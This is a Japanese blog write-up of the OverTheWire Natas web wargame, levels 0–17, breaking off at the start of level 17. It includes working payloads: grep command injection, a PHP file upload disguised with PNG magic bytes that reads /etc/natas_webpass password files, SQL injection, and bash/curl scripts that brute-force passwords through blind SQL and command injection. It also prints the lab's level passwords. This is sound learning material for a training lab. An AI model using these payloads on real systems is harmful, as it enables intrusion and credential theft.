Over the Wire - Natas

Over the Wire - Natas

https://overthewire.org/wargames/natas/

Banditが無事に終わったのでNatasに挑戦してみる。

Level 0

今回はSSHでログインする必要はないらしい(というかできないらしい)。

以下のようなサイトにアクセスしてそこからパスワードを探すといった感じ。パスワードはアクセスしたときにBasic認証のプロンプトが出てくるのでそこに渡す。

http://natas0.natas.labs.overthewire.org/

右上にあるWeChallというのはこういうチャレンジサイトの統計表示してくれるプラグインとのこと。チャレンジには関係ない。

Level 0 to 1

とりあえずソースコードを見てみる。

普通にあった。

パスワード:g9D9cREhslqBKtcA2uocGHPfMZVzeFK6

Level 1 to 2

右クリックがブロックされてる。

まあChromeの場合はスキームにview-source:を指定すればいいので簡単。

パスワード:h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7

Level 2 to 3

とりあえずまずソースコードを見る。

files/pixel.pngが怪しい。ダウンロードして調べてみる。

~$ identify -verbose pixel.png
Image:
  Filename: pixel.png
  Permissions: rw-r--r--
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  ...
  Properties:
    date:create: 2023-06-24T15:04:17+00:00
    date:modify: 2023-06-24T15:04:16+00:00
    date:timestamp: 2023-06-24T15:21:19+00:00
    png:bKGD: chunk was found (see Background color, above)
    png:cHRM: chunk was found (see Chromaticity, above)
    png:gAMA: gamma=0.45455 (See Gamma, above)
    png:IHDR.bit-depth-orig: 1
    png:IHDR.bit_depth: 1
    png:IHDR.color-type-orig: 3
    png:IHDR.color_type: 3 (Indexed)
    png:IHDR.interlace_method: 0 (Not interlaced)
    png:IHDR.width,height: 1, 1
    png:pHYs: x_res=72, y_res=72, units=0
    png:PLTE.number_colors: 2
    png:sRGB: intent=0 (Perceptual Intent)
    png:text: 2 tEXt/zTXt/iTXt chunks were found
    png:tRNS: chunk was found
    signature: 66aa5265fb25a9151e9b998b2153e6a19358611fed4e7bdc7b0885ef36ca04de
  ...
  Version: ImageMagick 7.1.1-11 Q16-HDRI aarch64 21206 https://imagemagick.org

特に何もなかった。これはただのダミー?

やっぱりダミーだった。user.txtにパスワード発見。

パスワード:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q

Level 3 to 4

“Not event Google will find it this time….”の文が怪しい。Googleが見つけられないならrobots.txtに何かあるはず。

やっぱり。/s3cr3t/ディレクトリがクロールされないように設定されていた。

パスワード:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm

Level 4 to 5

メッセージ的にHTTPリクエストのヘッダーをいじれば良さそう。

Originhttp://natas5.natas.labs.overthewire.org/にしてみるが反応なし。

Refererをセットしてみたらいけた。

パスワード:Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD

Level 5 to 6

認証はヘッダー関連じゃなさそうなのでとりあえずクッキーを見てみる。

このloggedinの値を1にすればいけそう。

パスワード:fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR

Level 6 to 7

View sourcecodeのリンクはなんぞや。

まさかのPHPコードを見してくれた。

インプットの値が$secretと同じである必要があるっぽい。とりあえず$secretが来ているであろうincludes/secret.incを見てみる。

見つけた。あとはこのFOEIUWGHFEEUHOFUOIUをフォームに入力すれば良き。

パスワード:jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr

Level 7 to 8

GETパラメータで表示するページを指定する仕組みらしい。

ソースコードを見てみるとヒントに/etc/natas_webpass/natas8がパスワードのファイルだと書いてあるので、pageパラメータにそのままパスを指定してみる。

パスワード:a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB

Level 8 to 9

またView sourcecodeソースコードが見れるよう。

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas8", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas8</h1>  
<div id="content">  
  
<?  
  
$encodedSecret = "3d3d516343746d4d6d6c315669563362";  
  
function encodeSecret($secret) {  
    return bin2hex(strrev(base64_encode($secret)));  
}  
  
if(array_key_exists("submit", $_POST)) {  
    if(encodeSecret($_POST['secret']) == $encodedSecret) {  
    print "Access granted. The password for natas9 is <censored>";  
    } else {  
    print "Wrong secret";  
    }  
}  
?>  
  
<form method=post>  
Input secret: <input name=secret><br>  
<input type=submit name=submit>  
</form>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

$encodedSecretエンコードされる前の文字列がわかれば良さそう。ハッシュ関数は使われていないみたいなのでREPLで逆の操作ができる。

~$ php -a
Interactive shell

php > $encodedSecret = "3d3d516343746d4d6d6c315669563362";
php > echo base64_decode(strrev(hex2bin($encodedSecret)));
oubWYf2kBq

あとは前と同様にoubWYf2kBqをフォームに入力する。

パスワード:Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd

Level 9 to 10

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas9", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas9</h1>  
<div id="content">  
<form>  
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>  
</form>  
  
  
Output:  
<pre>  
<?  
$key = "";  
  
if(array_key_exists("needle", $_REQUEST)) {    $key = $_REQUEST["needle"];  
}  
  
if($key != "") {    passthru("grep -i $key dictionary.txt");  
}  
?>  
</pre>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

フォームに入力した値がgrepコマンドに渡されているらしい。/etc/natas_webpass/natas10にパスワードがあるので、.*をパターンにして探せば良さそう。

パスワード:D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE

Level 10 to 11

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas10", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas10</h1>  
<div id="content">  
  
For security reasons, we now filter on certain characters<br/><br/>  
<form>  
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>  
</form>  
  
  
Output:  
<pre>  
<?  
$key = "";  
  
if(array_key_exists("needle", $_REQUEST)) {    $key = $_REQUEST["needle"];  
}  
  
if($key != "") {  
    if(preg_match('/[;|&]/',$key)) {  
        print "Input contains an illegal character!";  
    } else {
        passthru("grep -i $key dictionary.txt");  
    }  
}  
?>  
</pre>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

どうやら前回使った文字はフィルターされていないようなので、同じ手法が使えそう。

おそらく前回は.* /etc/natas_webpass/natas10;セミコロン付きで入力するべきだったのだろう。ただgrepは複数ファイルを取ることができるので問題ない。

パスワード:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg

Level 11 to 12

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas11", "pass": "<censored>" };</script></head>  
<?  
  
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");  
  
function xor_encrypt($in) {
    $key = '<censored>'
    $text = $in;
    $outText = '';
    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
        $outText .= $text[$i^ $key[$i % strlen($key)];  
    }  
  
    return $outText;
}  
  
function loadData($def) {  
    global $_COOKIE;
    $mydata = $def;  
    if(array_key_exists("data", $_COOKIE)) {
        $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
        
        if(is_array($tempdata&& array_key_exists("showpassword", $tempdata)
             && array_key_exists("bgcolor", $tempdata)) {  
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
           $mydata['showpassword'= $tempdata['showpassword'];
           $mydata['bgcolor'= $tempdata['bgcolor'];  
        }  
    }  
    }  
    return $mydata;  
}  
  
function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));  
}  
  
$data = loadData($defaultdata);  
  
if(array_key_exists("bgcolor",$_REQUEST)) {  
    if (preg_match('/^#(?:[a-f\d{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'= $_REQUEST['bgcolor'];  
    }  
}  
  
saveData($data);
?>  
  
<h1>natas11</h1>  
<div id="content">  
<body style="background: <?=$data['bgcolor']?>;">  
Cookies are protected with XOR encryption<br/><br/>  
  
<?  
if($data["showpassword"== "yes") {  
    print "The password for natas12 is <censored><br>";  
}  
  
?>  
  
<form>  
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">  
<input type=submit value="Set color">  
</form>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

xor_encryptエンコードされたJSONshowpasswordキーの値がyesになっているとパスワードが表示されるようになっている。

XORの性質として、ビットごとに独立であること、またA ⊕ X = BA, Bがわかっているときに、Xもわかることがある。

具体的には、A ⊕ X = B ⇔ A ⊕ A ⊕ X = A ⊕ B ⇔ 0 ⊕ X = A ⊕ B ⇔ X = A ⊕ Bと計算できる。

これを利用すれば、$keyの値が分かりそう。

  ~dl php -a
zsh: correct 'php' to 'pp' [nyae]? n
Interactive shell

php > $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
php > echo json_encode($defaultdata);
{"showpassword":"no","bgcolor":"#ffffff"}

この{"showpassword":"no","bgcolor":"#ffffff"}xor_encryptにかけたのが、

php > echo base64_decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D');
0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67

これになるはず。

つまり、{"showpassword":"no","bgcolor":"#ffffff"}A0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67Bになる。

X = A ⊕ Bなので、

php > echo '{"showpassword":"no","bgcolor":"#ffffff"}' ^ "0l;$$98-8=?#9*jvi 'ngl*+(!$#9lrnh(.*-(.n67";
KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK

XKNHLになる。

これをもとに{"showpassword":"yes","bgcolor":"#ffffff"}エンコードする。

php > function xor_encrypt($in) {
php {     $key = 'KNHL';
php {     $text = $in;
php {     $outText = '';
php {
php {     // Iterate through each character
php {     for($i=0;$i<strlen($text);$i++) {
php {     $outText .= $text[$i] ^ $key[$i % strlen($key)];
php {     }
php {
php {     return $outText;
php { }
php > echo base64_encode(xor_encrypt('{"showpassword":"yes","bgcolor":"#ffffff"}'));
MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz
php >

これをクッキーにセットすれば完了!

こういう系の問題楽しい。

パスワード:YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG

Level 12 to 13

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas12", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas12</h1>  
<div id="content">  
<?php  
  
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";  
  
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];  
    }  

    return $string;  
}  
  
function makeRandomPath($dir, $ext) {  
    do {    $path = $dir."/".genRandomString().".".$ext;  
    } while(file_exists($path));  
    return $path;  
}  
  
function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);  
    return makeRandomPath($dir, $ext);  
}  
  
if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);  

    if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {  
        echo "File is too big";  
    } else {  
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {  
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";  
        } else{  
            echo "There was an error uploading the file, please try again!";  
        }  
    }  
} else {  
?>  
  
<form enctype="multipart/form-data" action="index.php" method="POST">  
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />  
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />  
Choose a JPEG to upload (max 1KB):<br/>  
<input name="uploadedfile" type="file" /><br />  
<input type="submit" value="Upload File" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

ファイルタイプのフィルターはかかっていないみたいので、PHPファイルをアップロードしてみる。

~$ cat > test.php << EOF
heredoc> <?php
heredoc> echo file_get_contents("/etc/natas_webpass/natas12");
heredoc> EOF

ソースコードを見るに拡張子はフォームの値から取っているみたいなのでそこだけ.phpに変えておく。

アップロードすると無事にパスワードが表示されている。

パスワード:lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

Level 13 to 14

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "<censored>" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php
function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";
    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }
    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
        $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
    
    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

画像しかアップロードできないように対策されてる。

色々考えたけど他に思いつかなかったので、exif_imagetypeを欺く方針で進めていく。

検索した結果xxdでファイルシグネチャを変えることができるらしい。

https://askubuntu.com/questions/1034267/how-do-i-change-file-headers-from-the-command-line

適当に用意したPNGファイルのシグネチャを確認して、新しく作ったtest.phpに書き込む。

~$ xxd test.png | head -1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
~$ touch test.php
~$ xxd -r -p <(echo 8950 4e47 0d0a 1a0a 0000 000d 4948 4452) test.php
~$ file test.php
test.php: PNG image data, 168442943 x 1885892618, 10-bit

test.phpを開くとヘッダーが書き込まれているので、PHPコードを追加する。<?phpより前のコンテンツは無視されるのでこれでも動くはず。

PNG

IHDR

<?php

echo file_get_contents("/etc/natas_webpass/natas14");

前回と同様に拡張子だけ変更してサブミット。

パスワード:qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP

Level 14 to 15

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas14", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas14</h1>  
<div id="content">  
<?php  
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>')
    mysqli_select_db($link, 'natas14');
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";  
    if(array_key_exists("debug", $_GET)) {  
        echo "Executing query: $query<br>";  
    }  
  
    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {  
        echo "Successful login! The password for natas15 is <censored><br>";  
    } else {  
        echo "Access denied!<br>";  
    }
    mysqli_close($link);  
} else {  
?>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
Password: <input name="password"><br>  
<input type="submit" value="Login" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

SQLインジェクションだ。

定番の" or 1 --を入力してみる。--の後にスペースを入れる必要があるので注意。

  • From a --  sequence to the end of the line. In MySQL, the --  (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section 1.6.2.4, “‘–’ as the Start of a Comment”.

(これに気づかず30分ハマったとは口が裂けても言えない、、)

パスワード:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB

Level 15 to 16

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas15", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas15</h1>  
<div id="content">  
<?php  
  
/*  
CREATE TABLE `users` (  
  `username` varchar(64) DEFAULT NULL,  
  `password` varchar(64) DEFAULT NULL  
);  
*/
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";  
    
    if(array_key_exists("debug", $_GET)) {  
        echo "Executing query: $query<br>";  
    }
    
    $res = mysqli_query($link, $query);  
    if($res) {  
        if(mysqli_num_rows($res> 0) {  
            echo "This user exists.<br>";  
        } else {  
            echo "This user doesn't exist.<br>";  
        }  
    } else {  
        echo "Error in query.<br>";  
    }    mysqli_close($link);  
} else {  
?>  
  
<form action="index.php" method="POST">  
Username: <input name="username"><br>  
<input type="submit" value="Check existence" />  
</form>  
<?php } ?>  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

ユーザーnatas16が存在することを確認。

ソースコードを見る限りクエリの結果を直接表示する方法はなさそう。

natas16" and password="abc..." --と総当たり攻撃はできるけど流石に厳しい。

likeワイルドカードを使って一文字ずつ決めていくのなら行けそうではある。

とりあえずその方針でゴリ押すことに。

~$ touch test.sh
#!/bin/bash

query() {
    if curl -s -u natas15:TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB -X POST -d "username=natas16\" and password like binary \"$1$2%\" -- " http://natas15.natas.labs.overthewire.org/ | grep -q exists; then
        echo "$2"
    fi
}

pass=""
for _ in {1..32}; do
    pass+=$(
        for l in {a..z}; do query "$pass" "$l"; done;
        for l in {A..Z}; do query "$pass" "$l"; done;
        for n in {0..9}; do query "$pass" "$n"; done;)
    echo "$pass"
done

今までのパスワードは32文字の英数字だったのでその条件で総当たりしている。

MySQLで小文字と大文字を区別するにはlike binaryでバイナリ値比較をすればいいらしい。

~$ ./test.sh
T
TR
TRD
TRD7
TRD7i
TRD7iZ
TRD7iZr
TRD7iZrd
TRD7iZrd5
TRD7iZrd5g
TRD7iZrd5gA
TRD7iZrd5gAT
TRD7iZrd5gATj
TRD7iZrd5gATjj
TRD7iZrd5gATjj9
TRD7iZrd5gATjj9P
TRD7iZrd5gATjj9Pk
TRD7iZrd5gATjj9PkP
TRD7iZrd5gATjj9PkPE
TRD7iZrd5gATjj9PkPEu
TRD7iZrd5gATjj9PkPEua
TRD7iZrd5gATjj9PkPEuaO
TRD7iZrd5gATjj9PkPEuaOl
TRD7iZrd5gATjj9PkPEuaOlf
TRD7iZrd5gATjj9PkPEuaOlfE
TRD7iZrd5gATjj9PkPEuaOlfEj
TRD7iZrd5gATjj9PkPEuaOlfEjH
TRD7iZrd5gATjj9PkPEuaOlfEjHq
TRD7iZrd5gATjj9PkPEuaOlfEjHqj
TRD7iZrd5gATjj9PkPEuaOlfEjHqj3
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32
TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

久しぶりにBash書いた。頭がバグる。

パスワード:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V

Level 16 to 17

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas16</h1>  
<div id="content">  
  
For security reasons, we now filter even more on certain characters<br/><br/>  
<form>  
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>  
</form>  

Output:  
<pre>  
<?  
$key = "";  
  
if(array_key_exists("needle", $_REQUEST)) { 
    $key = $_REQUEST["needle"];  
}  
  
if($key != "") {  
    if(preg_match('/[;|&`\'"]/',$key)) {  
        print "Input contains an illegal character!";  
    } else { 
        passthru("grep -i \"$key\" dictionary.txt");  
    }
}  
?>  
</pre>  
  
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>  
</div>  
</body>  
</html>

SQLからgrepに戻った。

;|&`\'"が使えなくなっているので少なくとも文字列を閉じることはできなさそう。

ただ"$(echo hello)"みたいな文字列置換はできそう。/dev/stdout/dev/stdinにリダイレクトすれば出力される説。

~$ echo password > pass.txt
~$ echo hello > dict.txt
~$ grep -i "$(cat pass.txt > /dev/stdout)" dict.txt
~$ grep -i "$(cat pass.txt > /dev/tty)" dict.txt

ダメだった。リダイレクトしても文字列内で展開されるだけのよう。

お手上げだったのでちょっと解説を見てきた。

https://mcpa.github.io/natas/wargame/web/overthewire/2015/10/01/natas16/

どうやら前回と同様に一文字ずつ決めていくらしい。

クエリ文字列に$(grep ^a /etc/natas_webpass/natas17)を渡すと、

grepがヒットしなかった場合:

  • パスワードはaで始まらない
  • クエリ文字列は空
  • 表示されるエントリーも空

grepがヒットした場合:

  • パスワードはaで始まる
  • クエリ文字列はパスワード
  • 表示されるエントリーは多分空
    • dict.txtにパスワードが入っていれば別

これではどちらの場合でもエントリーが空なので判別できない。

そこで、クエリ文字列にさらにAfricansを追加し、Africans$(grep a /etc/natas_webpass/natas17)とすることで、

grepがヒットしなかった場合:

  • パスワードはaで始まらない
  • クエリ文字列はAfricans
  • 表示されるエントリーはAfricans

grepがヒットした場合:

  • パスワードはaで始まる
  • クエリ文字列はAfricans+パスワード
  • 表示されるエントリーは空
    • Africans***といったエントリーは存在しないことを確認ずみ

となるようにする。

あともう一つ注意点として、Bash^はQuick Substitutionというものに使われているのでエスケープする必要があるよう。

https://thepracticalsysadmin.com/bash-quick-substitution/

~$ grep -i ^p pass.txt
grep: To Be Sorted: Is a directory
~$ grep -i \^p pass.txt
password

あとは同じように総当たりのスクリプトを書く。

#!/bin/bash

query() {
    if ! curl -s -u natas16:TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V -X POST -d 'needle=Africans$(grep \^'"$1$2"' /etc/natas_webpass/natas17)' http://natas16.natas.labs.overthewire.org/ | grep -q Africans; then
        echo "$2"
    fi
}

pass=""
for _ in {1..32}; do
    pass+=$(
        for l in {a..z}; do query "$pass" "$l"; done;
        for l in {A..Z}; do query "$pass" "$l"; done;
        for n in {0..9}; do query "$pass" "$n"; done;)
    echo "$pass"
done
~$ ./test.sh
X
Xk
XkE
XkEu
XkEuC
XkEuCh
XkEuChE
XkEuChE0
XkEuChE0S
XkEuChE0Sb
XkEuChE0Sbn
XkEuChE0SbnK
XkEuChE0SbnKB
XkEuChE0SbnKBv
XkEuChE0SbnKBvH
XkEuChE0SbnKBvH1
XkEuChE0SbnKBvH1R
XkEuChE0SbnKBvH1RU
XkEuChE0SbnKBvH1RU7
XkEuChE0SbnKBvH1RU7k
XkEuChE0SbnKBvH1RU7ks
XkEuChE0SbnKBvH1RU7ksI
XkEuChE0SbnKBvH1RU7ksIb
XkEuChE0SbnKBvH1RU7ksIb9
XkEuChE0SbnKBvH1RU7ksIb9u
XkEuChE0SbnKBvH1RU7ksIb9uu
XkEuChE0SbnKBvH1RU7ksIb9uuL
XkEuChE0SbnKBvH1RU7ksIb9uuLm
XkEuChE0SbnKBvH1RU7ksIb9uuLmI
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7s
XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

これは思いつかなかった。天才。

パスワード:XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Level 17 to 18

<html>  
<head>  
<!-- This stuff in the header has nothing to do with the level -->  
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />  
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />  
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>  
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>  
<script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>  
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>  
<body>  
<h1>natas17</h1>  
<div id="content">  
<?php  
  
/*  
CREATE TABLE `users` (  
  `username` varchar(64) DEFAULT NULL,  
  `password` varchar(64) DEFAULT NULL  
);  
*/  
  
